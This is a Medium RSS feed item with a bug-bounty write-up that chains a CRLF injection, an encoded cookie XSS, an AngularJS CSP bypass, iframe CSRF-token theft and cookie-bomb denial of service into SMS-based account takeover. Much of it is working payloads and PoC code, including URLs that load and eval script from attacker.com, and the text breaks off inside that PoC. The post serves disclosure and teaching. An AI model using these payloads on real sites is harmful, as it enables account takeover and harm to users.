<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Master SEC on Medium]]></title>
        <description><![CDATA[Stories by Master SEC on Medium]]></description>
        <link>https://medium.com/@master-sec?source=rss-36b3c0f50eb3------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*nS0Pb_D-ciaRlYid.jpg</url>
            <title>Stories by Master SEC on Medium</title>
            <link>https://medium.com/@master-sec?source=rss-36b3c0f50eb3------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 23:52:08 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@master-sec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The beauty of chaining client-side bugs]]></title>
            <link>https://master-sec.medium.com/the-beauty-of-chaining-client-side-bugs-759e1091eabf?source=rss-36b3c0f50eb3------2</link>
            <guid isPermaLink="false">https://medium.com/p/759e1091eabf</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[pentest]]></category>
            <dc:creator><![CDATA[Master SEC]]></dc:creator>
            <pubDate>Fri, 28 May 2021 23:28:53 GMT</pubDate>
            <atom:updated>2021-06-01T17:27:34.676Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*9oCFKH_IAM-8JBmLwHHGXw.jpeg" /></figure><p>This is part of a report of a bug that I sent back in 2020, changing of course the program name for obvious reasons.</p><h3><strong>Introduction</strong></h3><p>When someone asks me about how it is like hacking I tell them it’s like being an artist 🎨. This involves a lot of love, imagination, perseverance, many hours of work, joining pieces to achieve a masterpiece of art. All artists have different ways to create, same as we have different ways to find a security issue, there isn’t a single way to demonstrate the impact of a bug.</p><h4>The Full Chain ⛓</h4><h4>The CRLF Injection✍</h4><p>At the beginning of the year during a scan, Burp found me a CRLF bug on redacted.redacted.com. Sadly it was a Location: redirect CRLF Injection one, so I wasn’t able to make much impact with it. no XSS. Click on https://redacted.redacted.com/robot.txtasd%0dSet-Cookie:foo%3dbar from Chrome and it will set you a new cookie. This was the only impact and I was the whole next week thinking how I could exploit this behavior.</p><h4>Finding a vulnerable Cookie for Self XSS🍪</h4><p>While I was fuzzing cookies to find a vulnerable one I found that the redacted cookie was reflected on multiple pages and not being properly sanitized, allowing me &lt;&gt; chars. after my first report of this cookie, most of them have been fixed but they still last a few. After digging over all the Redacted site. I founded the www.redacted.com/redacted after you log in, have the redacted cookie reflected without being properly sanitized inside script tags.</p><h4>Bypassing WAF with double encoding 🕵️‍♀️</h4><p>Sadly when I sentredacted=ORIGINALCOOKIE&lt;img src=x&gt; in the cookie header, the CDN blocked me hard. I was stuck for a while here. After a few attempts and different encoding tests, I concluded that double encoding successfully bypasses this protection. for example, if CDN bans the word script you could send scrip%25%37%34, note of how the payload has been encoded to %74 and then encoded again, the web page will reflect it as script and will pass the CDN filter, beautiful!.</p><h3>Bypassing CSP with Angular Template Injection 💉</h3><p>Here the things become even trickier for me, and I’ve been struggled for over 2 months searching for callback JSONP response and I was looking all the time for the wrong thing. This CSP was one of the hardest that I’ve ever had to defeat.</p><p>Reading this old paper the other day, <a href="https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf">https://www.blackhat.com/docs/us-17/thursday/us-17-Lekies-Dont-Trust-The-DOM-Bypassing-XSS-Mitigations-Via-Script-Gadgets.pdf</a> from 2017 blackhat opened my mind for looking script gadgets. Inside of redacted.com domain, they were tons of javascript assets/libs/frameworks, I used gau a tool from my friend cdl, to scan all .js looking for vulnerabilities. As seen in the paper, AngularJS is one of the most vulnerable frameworks in the market, I used anti-burl to filter 200 response js files containing the word &quot;angular&quot; and reached this script. https://www.redacted.com/redacted/angular/angular.min.js This angular 1.5.8 suffers a template injection DomXSS, so I decided to load that script since its whitelisted by CSP, and call it &lt;script src=&#39;https://www.redacted.com/angular/angular.min.js&#39;&gt;&lt;/scripT&gt;&lt;body ng-app&gt;{{x={&#39;y&#39;:&#39;&#39;.constructor.prototype};x[&#39;y&#39;].charAt=[].join;$eval(&#39;x=alert(1))&#39;);}}&lt;/body&gt; with this HTML reflected in the Redacted page, I was able to finally trigger a controlled javascript environment bypassing the strict CSP</p><h4>It’s all about impact, try to make an Account Takeover. 🎭</h4><p>A simple alert(document.cookie) PoC will give you a ZERO CVSS score and a nice informative, you must show impact while reporting a bug. especially on this program. I started searching for logical flaws, that could lead to a possible Account Takeover.</p><ul><li>Add a secondary email. ⛔️ <em>It asks main account password when you want to log in after you log in with the new email</em></li><li>Change password. ⛔️ <em>It asks you to type the old password which we don’t have. Don’t like social engineering PoC of asking the user to type again the password, I like the most automated stuff possible</em></li><li>Change primary SMS phone. ✅ <em>It asks to validate by SMS your new phone only. Without sending an SMS to the old phone, email confirmation, or asking for a password</em> Finally, we can automate that with some SMS API!. The attacker will just go to the lost password and put the SMS method to recover the account, like if it were the owner of it all the time.</li></ul><h3>Generating the Javascript Payload 👾</h3><p>The flow is like this:<br>Load change Phone Number page -&gt; grab the CSRF Token -&gt; Submit the form with the new Phone Number -&gt; Connect back to my page to get the SMS 6 digits code -&gt; Submit the 6 digits code to successfully change the phone number.</p><p>Then the attacker just needs to put the victim&#39;s email in the lost password and a 6 digits code will be sent to the attacker phone number.</p><h3>Stealing the anti-CSRF token 👮🕵️‍♀️</h3><p>All sensitive API JSON calls send a CSRF-Token header, which is not stored in cookies, in HTTP Responses, in local storage, until now I don’t know how exactly it is generated. But it’s stored after the page loads inside the &lt;body&gt; DOM element by a JS library, something like &lt;body data-token=&quot;ZsqK0g0lvcWRlxGLnrRe2BZgRMmST6x2Q0R9s=&quot; and being dynamically generated, the data-token is the CSRF-Token, which is pretty interesting, the first time that I saw this. For my luck, all Redacted sites have X-Frame-Options: SAMEORIGIN headers. So maybe we could steal it with a child iframe directly from DOM.</p><pre>var profileIframe = document.createElement(‘iframe’); profileIframe.setAttribute(‘src’, ‘https://www.redacted.com/settings/phoneadd&#39;);<br>profileIframe.setAttribute(‘id’, ‘miframe’); document.body.appendChild(profileIframe); document.getElementById(‘miframe’).onload = function() { <br>var csrf = profileIframe.contentDocument.getElementsByTagName(“body”).item(“data”).dataset.token;</pre><p>Tested it and BINGO. As you can see, I took advantage of being in the same Same-Origin-Policy, and x-frame-options, to get directly the token from the DOM after the page is loaded.</p><h3>Sending the change mobile number HTTP Request 📲</h3><p>This should be easy, I said… but struggled a bit.</p><ul><li>Twilio API SMS was not receiving SMS from the Redacted site. Took some time to get an SMS provider that can receive short SMS messages and send an HTTP API callback. Sorted it.</li><li>After the 2 HTTP Requests, how I could XMLHttpRequest an external site to get the received SMS code? <strong>I had a connect-src CSP header blocking all outgoing traffic</strong>.</li></ul><h3>Using the Redacted site API as a cross-communication channel to communicate with the Exploit. 📢</h3><p>with connect-src to *.redacted.com, I was needing some kind of way to make the exploit to read the 6 digits number from an external source, without validating it, I could not be able to change the account phone number.</p><p>Finally, I decided to do it in a reverse way, with the Redacted API, I read the documentation and created an item with a description, and the description will be changed by my PHP script, and later read by the javascript payload victim.</p><h4>The PHP sms.php code that receives the SMS in Text parameter in my HTTP server.</h4><p>when an SMS will arrive at the SMS Exploit number, the SMS Gateway API provider will callback my script at http://myserver.com/sms.php?Text=SMSmessagebodyfromsite</p><pre>$var = $_GET[‘Text’];<br>preg_match(‘/([0–9])\w+/’, $var, $matches); //simple regex to get the code.<br>$code = $matches[0];</pre><pre>//here we authenticate to the API.</pre><pre>$ch = curl_init();</pre><pre>curl_setopt($ch, CURLOPT_URL, ‘https://api.redacted.com/v1/oauth2/token&#39;);<br>curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br>curl_setopt($ch, CURLOPT_POST, 1);<br>curl_setopt($ch, CURLOPT_POSTFIELDS, “grant_type=client_credentials”);<br>curl_setopt($ch, CURLOPT_USERPWD, ‘REDACTED’ . ‘:’ . ‘REDACTED’);</pre><pre>$headers = array();<br>$headers[] = ‘Accept: application/json’;<br>$headers[] = ‘Accept-Language: en_US’;<br>$headers[] = ‘Content-Type: application/x-www-form-urlencoded’;<br>curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);</pre><pre>$result = curl_exec($ch);<br>if (curl_errno($ch)) {<br> echo ‘Error:’ . curl_error($ch);<br>}<br>curl_close($ch);</pre><pre>$json = json_decode($result);</pre><pre>$token = $json-&gt;access_token; //access token from api</pre><pre>$ch = curl_init();</pre><pre>curl_setopt($ch, CURLOPT_URL, ‘https://api.redacted.com/v1/redactedendpoint&#39;);<br>curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);<br>curl_setopt($ch, CURLOPT_CUSTOMREQUEST, ‘PATCH’);</pre><pre>//we just set the description value of some random API endpoint on Redacted API to the 6 digits code from the SMS text here.</pre><pre>curl_setopt($ch, CURLOPT_POSTFIELDS, “[\n {\n \”op\”: \”replace\”,\n \”path\”: \”/description\”,\n \”value\”: \”$code\”\n }\n]”);</pre><pre>$headers = array();<br>$headers[] = ‘Content-Type: application/json’;<br>$headers[] = “Authorization: Bearer $token”;<br>curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);</pre><pre>//send the request<br>$result = curl_exec($ch);</pre><pre>if (curl_errno($ch)) {<br> echo ‘Error:’ . curl_error($ch);<br>}<br>curl_close($ch);</pre><h3>Reading the SMS Code from Javascript</h3><p>This is the exploit side, the victim reads the SMS code with javascript and bypasses the connect-src restriction by CSP because we got it from the API itself from the provider.</p><pre><br>var req2 = new XMLHttpRequest();<br> var url = “https://api.redacted.com/v1/oauth2/token&quot;;<br> req2.open(“POST”, url, true);<br> req2.setRequestHeader(“Accept”, “application/json”);<br> req2.setRequestHeader(“Authorization”, “Basic REDACTED”);<br> params = “grant_type=client_credentials”;<br> req2.send(params);<br> document.write(“&lt;br/&gt;Debug: getting the 6 digits code…”);<br> req2.onload = function() {<br> if (req2.status == 200) {<br> var token = JSON.parse(req2.response).access_token;<br> document.write(“&lt;br/&gt;Debug: api token: “ + token);<br> var req3 = new XMLHttpRequest();<br> var url2 = “https://api.redacted.com/redactedendpoint/&quot;;<br> req3.open(“GET”, url2, true);<br> req3.setRequestHeader(“Content-Type”, “application/json”);<br> req3.setRequestHeader(“Authorization”, “Bearer “ + token );<br> req3.send();<br> req3.onload = function() {<br> if (req3.status == 200) {<br> var code = JSON.parse(req3.response).description;<br> document.write(“&lt;br/&gt;Debug: SMS code grabbed from api: “ + code);</pre><pre>var req4 = new XMLHttpRequest();<br> var url3 = “https://www.redacted.com/redacted/phonevalidation&quot;;<br> req3.open(“PUT”, url3, true);<br> req3.setRequestHeader(“Content-Type”, “application/json”);<br> req3.setRequestHeader(“CSRF-Token”, csrf);<br> var params2 = ‘{“”code”:”’+ code +’”}’;<br> req3.send(params2);<br> req3.onload = function() {<br> document.write(“&lt;br/&gt;Debug: Phone validated successfully, your phone has been changed&lt;br/&gt;&lt;b&gt;go to lost password by SMS and pwn it&lt;b/&gt;”);<br> }<br> <br> }<br> }<br> }<br> }</pre><h3>Bypassing 2000 URL characters length, the PNG picture Payload Solution.</h3><p>The final Javascript payload with debug messages in base64 was something like: dmFyIHByb2ZpbGVJZnJhb..... continues for 5000 more chars</p><p>It was way above 5k chars, and since we inject it from a CRLF through GET, it needs to be below 2k to work on most of the browsers , so I decided to use the method from <a href="https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/">https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/</a> paper, and put it in a PNG image and take advantage of img-src <a href="https://*/">https://*</a> CSP rule.</p><p>This will load the image and decode it with canvas JS, reconstruct the javascript code in a variable, and eval it, which is pretty smart and looks like “magic” 🧙 .</p><p>After reading the paper and dealing for a whole day to make it to work with an Angular template injection (had to modify it a lot). I ended up setting the Redacted cookie with this payload: &lt;/scripT&gt;%25%33%63scrip%25%37%34+src=&#39;https://www.redacted.com/redacted/angular/angular.min.js&#39;&gt;&lt;/scripT&gt;&lt;%25%36%32ody ng-app&gt;&lt;im%25%36%37+src=https://mysite.com/img.php+id=jsimg+crossorigin=anonymous&gt;{{x%3d{&#39;y&#39;%3a&#39;&#39;.constructor.prototype}%3bx[&#39;y&#39;].charAt%3d[].join%3b$ev%25%36%31l(&#39;x%3dev%25%36%31l(atob(&quot;evilpayloadbase64encoded&quot;))&#39;)%3b}}&lt;/body&gt;</p><p>Notice that I had to double URL encode some letters to bypass CDN specify word filters like eval.</p><p>This payload loads the img.php stored on mysite.com, decodes it with eval function after loading, and executes the JS evil code.</p><h3>Putting all the pieces together. 🧩</h3><p>I needed to merge that manual cookie, through the CRLF and set it inside the Redacted cookie. This wasn&#39;t easy because I was needing it exactly as I send it in the HTTP request, with the encoding, or the WAF will block it After a few hours, and weird stuff like triple URL encoding (never used that kind of stuff for a PoC)</p><p>I ended with a CRLF-&gt;Evil Cookie-&gt;Angular Template Injection-&gt;Evil PNG Canvas payload all in one on this link:</p><p>http://redacted.redacted.com/robot.txtasd%0dSet-Cookie:redacted=redacted%3C%252fscripT%3E%2525%2533%2563scrip%25%32%35%25%33%37%25%33%34+sr%25%32%35%25%33%36%25%33%33%3d&#39;https://www.redacted/components/angular/angular.min.js&#39;%3E%3C/scripT%3E%3C%2525%2536%2532ody+ng-app%3E%3Cim%2525%2536%2537+sr%25%32%35%25%33%36%25%33%33%3dhttps://attacker.com/img.php+id%3djsimg+crossorigin%3danonymous%3E%7b%7bx%3d%7b&#39;y&#39;%3a&#39;&#39;.constructor.prototype%7d%25%33%62x%5b&#39;y&#39;%5d.charAt%3d%5b%5d.join%25%33%62$ev%25%32%35%25%33%36%25%33%31l(&#39;x%3dev%25%32%35%25%33%36%25%33%31l(atob(%22base64encodedpayload%22%29%29%27%29%25%33%62%7d%7d%3c%25%32%66body&gt;;Domain=redacted.com;Path%3d/;</p><p>You can notice the triple URL encoding converting ev%25%32%35%25%33%36%25%33%31l to eval on the reflection later. <em>Sometimes is sick to see how things like this work</em>.</p><h3>Required Extra Step, Cookie Denial of Service</h3><p>While I was testing on my Mac I figured out that it didn’t work as on my Linux desktop. <strong>I was running an adblocker</strong>, blocking redacted.redacted.com traffic. Then I figured out that redacted.redacted.com/redacted just “overwrites” my evil cookie…</p><p>So I decided just KILL the access to redacted.redacted.com.</p><p>How we could do this? telling the browser to send a very long cookie header only to that page that interfaces with our PoC.</p><p>The page troubling me was https://redacted.redacted.com/setcookie?params</p><p>So I set a new cookie.</p><p>Set-Cookie: trash=DOSlong2kchars;Path=/setcookie;Domain=.redacted.com</p><p>Take note of how I used path instead of domain. from domain redacted, I just can’t set a cookie to another subdomain, by changing the Domain. but I could set a “global cookie” only working for “/setcookie” path :)</p><p>After setting a VERY long cookie above 15k chars. the HTTP server just stopped interfering with my PoC and shoots a nice 429 error.</p><p>So my final HTML page for the PoC was:</p><pre>&lt;html&gt;<br>&lt;head&gt;</pre><pre>&lt;/head&gt;<br>&lt;body&gt;<br> PoC</pre><pre>&lt;/body&gt;</pre><pre>&lt;script&gt;</pre><pre>document.body.innerHTML=’&lt;html&gt;&lt;body&gt;&lt;center&gt;&lt;h1&gt;Please wait… you will be redirected to redacted&lt;/h1&gt;&lt;/center&gt;&lt;/body&gt;&lt;/html&gt;’;</pre><pre>var profileIframe = document.createElement(‘iframe’);<br> profileIframe.setAttribute(‘src’, “http://redacted.redacted.com/robot.txtasd%0dSet-Cookie:redacted=redacted%3C%252fscripT%3E%2525%2533%2563scrip%25%32%35%25%33%37%25%33%34+sr%25%32%35%25%33%36%25%33%33%3d&#39;https://www.redacted.com/angular/angular.min.js&#39;%3E%3C/scripT%3E%3C%2525%2536%2532ody+ng-app%3E%3Cim%2525%2536%2537+sr%25%32%35%25%33%36%25%33%33%3dhttps://attacker.com/img.php+id%3djsimg+crossorigin%3danonymous%3E%7b%7bx%3d%7b&#39;y&#39;%3a&#39;&#39;.constructor.prototype%7d%25%33%62x%5b&#39;y&#39;%5d.charAt%3d%5b%5d.join%25%33%62$ev%25%32%35%25%33%36%25%33%31l(&#39;x%3dev%25%32%35%25%33%36%25%33%31l(atob(%22redactedbase64encodedpayload%22%29%29%27%29%25%33%62%7d%7d%3c%25%32%66body&gt;;Domain=redacted.com;Path%3d/;&quot;);<br> profileIframe.setAttribute(‘id’, ‘pi’);<br> profileIframe.setAttribute(‘width’, ‘1px’);<br> profileIframe.setAttribute(‘height’, ‘1px’);<br> document.body.appendChild(profileIframe);<br> document.getElementById(‘pi’).onload = function() {<br> <br> // then we bomb for the /setcookie path so we don’t get overlapped by redacted.redacted.com<br> var Iframe2 = document.createElement(‘iframe’);<br> Iframe2.setAttribute(‘src’, “http://redacted.redacted.com/robot.txtasd%0dSet-Cookie:denial=serviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasd;Domain=.redacted.com;Path=/setcookie&quot;);<br> Iframe2.setAttribute(‘id’, ‘bomb1’);<br> Iframe2.setAttribute(‘width’, ‘1px’);<br> Iframe2.setAttribute(‘height’, ‘1px’);<br> document.body.appendChild(Iframe2);<br> <br> var Iframe3 = document.createElement(‘iframe’);<br> Iframe3.setAttribute(‘src’, “http://redacted.redacted.com/robot.txtasd%0dSet-Cookie:denial2=serviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasd;Domain=.redacted.com;Path=/setcookie&quot;);<br> Iframe3.setAttribute(‘id’, ‘bomb1’);<br> Iframe3.setAttribute(‘width’, ‘1px’);<br> Iframe3.setAttribute(‘height’, ‘1px’);<br> document.body.appendChild(Iframe3);<br> <br> var Iframe4 = document.createElement(‘iframe’);<br> Iframe4.setAttribute(‘src’, “http://redacted.redacted.com/robot.txtasd%0dSet-Cookie:denial3=serviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasdserviceasdasdasdsadsadsdasadsdasdasadasdasdddddddddddddddddddddddddddddasdasdasd;Domain=.redacted.com;Path=/setcookie&quot;);<br> Iframe4.setAttribute(‘id’, ‘bomb3’);<br> Iframe4.setAttribute(‘width’, ‘1px’);<br> Iframe4.setAttribute(‘height’, ‘1px’);<br> document.body.appendChild(Iframe4);<br> <br> var Iframe5 = document.createElement(‘iframe’);<br> Iframe5.setAttribute(‘src’, 